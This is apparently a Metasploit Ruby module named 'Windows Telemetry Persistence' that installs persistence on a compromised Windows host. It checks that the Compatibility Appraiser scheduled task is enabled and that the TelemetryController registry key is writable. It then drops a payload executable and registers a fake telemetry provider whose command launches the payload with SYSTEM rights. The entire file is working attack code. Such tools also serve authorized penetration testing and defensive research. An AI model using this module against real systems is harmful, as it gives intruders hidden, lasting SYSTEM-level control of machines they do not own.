Windows Telemetry Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Telemetry Persistence',
        'Description' => %q{
          This persistence mechanism installs a new telemetry provider for windows. If telemetry is turned on,
          when the scheduled task launches, it will execute the telemetry provider and execute our payload
          with system permissions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://pentestlab.blog/2023/11/06/persistence-windows-telemetry/']
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-11-06',
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
      OptString.new('NAME', [false, 'Name of the telemetry program. Random string as default.']),
    ])
  end

  def regkey
    'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController'
  end

  def writable_dir
    d = super
    return session.sys.config.getenv(d) if d.start_with?('%')

    d
  end

  def check
    return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')

    vprint_good('Powershell detected on system')

    # Check if the scheduled task is enabled (aka it has a next run time)
    # determine if we have Appraiser or Appraiser Exp, its not clear when the change happened, but my windows 11 uses Exp and windows 10 doesn't
    ['Microsoft Compatibility Appraiser Exp', 'Microsoft Compatibility Appraiser'].each do |appraiser_name|
      @appraiser_name = appraiser_name
      @next_run_time = cmd_exec(%(schtasks /query /tn "\\Microsoft\\Windows\\Application Experience\\#{appraiser_name}" /fo list /v))
      break unless @next_run_time.include? 'ERROR'
    end
    print_status("Appraiser name found: #{@appraiser_name}")
    @next_run_time = begin
      @next_run_time.match(/Next Run Time:\s+(.+?)\r/)[1]
    rescue StandardError
      nil
    end
    return Msf::Exploit::CheckCode::Safe('Scheduled task for telemetry is disabled') if @next_run_time.strip.end_with?('N/A')

    print_good("Next scheduled runtime: #{@next_run_time.strip}")

    # test write to see if we have access
    rand = Rex::Text.rand_text_alpha((rand(6..13)))

    vprint_status("Checking registry write access to: #{regkey}\\#{rand}")
    return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil?

    registry_deletekey("#{regkey}\\#{rand}")

    Msf::Exploit::CheckCode::Vulnerable('Registry writable')
  end

  def install_persistence
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    payload_exe = generate_payload_exe
    payload_pathname = writable_dir + '\\' + payload_name + '.exe'
    vprint_good("Writing payload to #{payload_pathname}")
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)

    telemetry = datastore['NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))

    print_status("Using telemetry id: #{telemetry}")
    registry_createkey("#{regkey}\\#{telemetry}")
    registry_setvaldata("#{regkey}\\#{telemetry}", 'Command', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ')
    registry_setvaldata("#{regkey}\\#{telemetry}", 'Nightly', 1, 'REG_DWORD')

    print_good 'Persistence installed! Call a shell immediately using '\
              "'schtasks /run /tn \"\\Microsoft\\Windows\\Application Experience\\#{@appraiser_name}\"' (SYSTEM)" \
              ' or CompatTelRunner.exe (user)'
    print_line("       or wait till #{@next_run_time} (SYSTEM)")

    @clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{telemetry}\\\" /f" -H\n)
    @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
  end
end